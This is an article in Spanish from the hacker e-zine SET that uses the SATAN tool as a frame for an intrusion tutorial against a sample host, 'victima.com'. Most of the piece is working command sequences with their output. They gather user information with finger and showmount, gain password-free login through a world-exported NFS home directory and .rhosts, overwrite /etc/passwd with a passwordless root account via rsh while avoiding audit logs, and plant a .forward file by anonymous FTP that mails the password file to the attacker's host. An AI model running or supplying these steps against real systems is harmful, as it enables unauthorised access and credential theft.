SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

A solas con SATAN

      3944

Autor: Paseante
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 06. A SOLAS CON SATAN                                                     o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


SATAN (Security Analysis Tool for Auditing Networks.)  Escrito por
Dan Farmer y Wietse Venema.

šQue es SATAN?. Es una herramienta pensada para que los administradores
encuentren los posibles "agujeros" de su red y los reparen, como todas las
cosas es un arma de doble filo.

SATAN fue escrito para analizar un host o grupo de hosts y recolectar via
NIS, finger, NFS, ftp, tftp, rexd y otros servicios, informacion sobre la
configuracion de una red y posibles brechas de seguridad, testeando setups
incorrectos y bugs conocidos, esta escrito de manera modular en perl, C,
shell, etc..

Es demasiado complejo para explicarlo en un solo articulo por lo que si
notamos un feedback positivo lo ampliaremos en posteriores ediciones.
En este numero nos limitaremos a explicar como "ganar informacion" sobre
nuestro objetivo.

Vamos a tratar de obtener informacion digamos sobre victima.com, para ello
podemos recurrir a servicios como finger, showmount, rcpinfo, DNS, whois,
sendmail, ftp..etc. En este ejemplo actuaremos desde saq.com

victima % finger victima.com

[victima.com]
Login       Name             TTY Idle     When    Where
palo      Dr. Lucas           co   1d  Wed 08:00  paf.com

Bien, solo un usuario desde luego si entras no habra mucha gente que se
pueda  dar cuenta.
Ahora vamos a probar a hacer finger a cuentas como  "@", "0" y "" y a nombres
comunes como root, bin, ftp, system, guest, demo, manager, etc., para ver que
info obtenemos. La informacion obtenida sera generalmente nombres de cuentas,
home directories y su ultimo log.
NOTA: En _muchos_ casos los proveedores estan deshabilitando el servicio
finger por los peligros de seguridad que conlleva.

A la informacion asi obtenida se le puede a€adir la conseguida al ejecutar
rusers -l que proporciona datos sobre los usuarios actuales de la red.

Veamos un ejemplo de lo que podria ser un output de esos comandos una vez
la informacion esta ordenada.

                       Victima.com

Login   Home-dir    Shell      Ultimo login: Desde.
 -----   --------    -----      ----------------------
root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin     /bin                   Never logged in
nobody  /                      Tue Jun 15 08:57 on ttyp2 from srv.victima.com
daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victima.com
sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victima.com
zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from xxx.com
pas     /home/pas   /bin/csh   Wed Nov  5 05:33 on ttyp3 from saq.com
guest   /export/foo /bin/sh    Never logged in
ftp     /home/ftp              Never logged in

Esta informacion no permite entrar en el sistema evidentemente pero ya sabemos
unas cuantas cosas sobre victima.com sin habernos tomado mucho trabajo, por
eso estan deshabilitando el finger a marchas forzadas. :(

Vamos a seguir recogiendo info, ejecutemos showmount en victima.com

 Saq.com % showmount -e victima.com
 export list for victima.com:
 /export                            (everyone)
 /var                               (everyone)
 /usr                               easy
 /export/exec/kvm/sun4c.sunos.4.1.3 easy
 /export/root/easy                  easy
 /export/swap/easy                  easy

Vemos que /export es accesible para todo el mundo y click! nos acordamos
de que export/foo es el home directory del usuario guest. Ya tenemos marcado
el camino de entrada.
Vamos a efectuar un mount del directorio inicial del user "guest". Puesto que
no tenemos cuenta en la maquina local y puesto que el root no puede modificar
ficheros en un sistema de ficheros NFS 'montados' lo que haremos es crear
una cuenta "guest" en nuestro fichero de claves local, como usuario guest
podemos poner una entrada .rhosts en el directorio export/foo y esto nos
permitira hacer un login como guest a victima.com .... sin password.

Basta de rollo, aqui van los comandos: :-)

 saq # mount victim.com:/export/foo /foo
 saq # cd /foo
 saq # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 saq # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 saq # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 saq # su guest
 saq % echo saq.com >> guest/.rhosts
 saq % rlogin victima.com

          Welcome to victima.com!

 victima %

Facil šno?. Si en lugar de directorios iniciales victima.com exportase
ficheros del sistema con comandos como (say, /usr, /usr/local/bin) podriamos
reemplazar uno de esos comandos de usuario con un troyano que ejecutase un
comando de nuestra eleccion.
El siguiente usuario que ejecutase ese comando lo que haria en realidad es
ejecutar _nuestro_ programa.

En el caso de que victima.com tuviese un comodin "+" en su /etc/hosts.equiv
que en algunos casos es la configuracion por defecto cualquier usuario sin
cuenta de root con un nombre de login en el fichero de passwords en
victima.com podria hacer rlogin a victima.com ...sin password.
El siguiente paso seria hacer log en victima.com e intentar modificar el
fichero de passwords para obtener acceso de root.

saq % whoami
bin
saq % rsh victima.com csh -i
Warning: no access to tty; 
victima %  ls -ldg /etc
drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
victima %  cd /etc
victima %  mv passwd pw.old
victima %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victima % ^D
saq % rlogin victima.com -l toor

          Welcome to victima.com!

 victima #

NOTA:"rsh victim.com csh -i" se usa para entrar inicialmente en el sistema
por que no deja trazas en los ficheros de auditoria wtmp o utmp, convirtiendo
el rsh en "invisible" para el finger y el who.

šHemos acabado?. No, ni de buen trozo. SATAN aun puede buscar mas brechas
de seguridad, volvemos a examinar los resultados de finger y rusers y
vemos una cuenta "ftp" por lo que posiblemente se permita anonymous FTP.
Hay veces en que el FTP esta mal configurado y ofrece posibilidades a un
intruso, probemos a ver si victima.com guarda una copia completa de su fichero
de claves en ~ftp/etc en lugar de una "version reducida". Si se da el caso
de que podemos escribir en el directorio inicial de ftp podemos ejecutar
remotamente un comando que haga... no se.. que os parece que nos mande el
fichero de claves *por correo*. El mecanismo es simple, como el del programa
que envia el mensaje de "vacation" para contestar automaticamente a los
mensajes que llegan.

 saq % cat forward_loser_file
 "|/bin/mail pas@saq.com < /etc/passwd"

 saq % ftp victima.com
 Connected to victima.com
 220 victima FTP server ready.
 Name (victima.com:pas): ftp
 331 Guest login ok, send ident as password.
 Password:
 230 Guest login ok, access restrictions apply.
 ftp> ls -lga
 200 PORT command successful.
 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
 total 5
 drwxr-xr-x  4 101      1             512 Jun 20  1991 .
 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
 226 ASCII Transfer complete.
 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
 ftp> put forward_loser_file .forward
 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
 ftp> quit
 saq % echo test | mail ftp@victima.com

Ahora tomaros un JB mientras esperais tranquilamente a que os llegue el
fichero de claves.
Si el tema interesa en proximos numeros seguiremos hablando de SATAN,
rcpinfo, NIS y como no, el infame Sendmail, posiblemente el programa con
mas bugs de la historia con permiso del MierdaSoft Internet Explorer.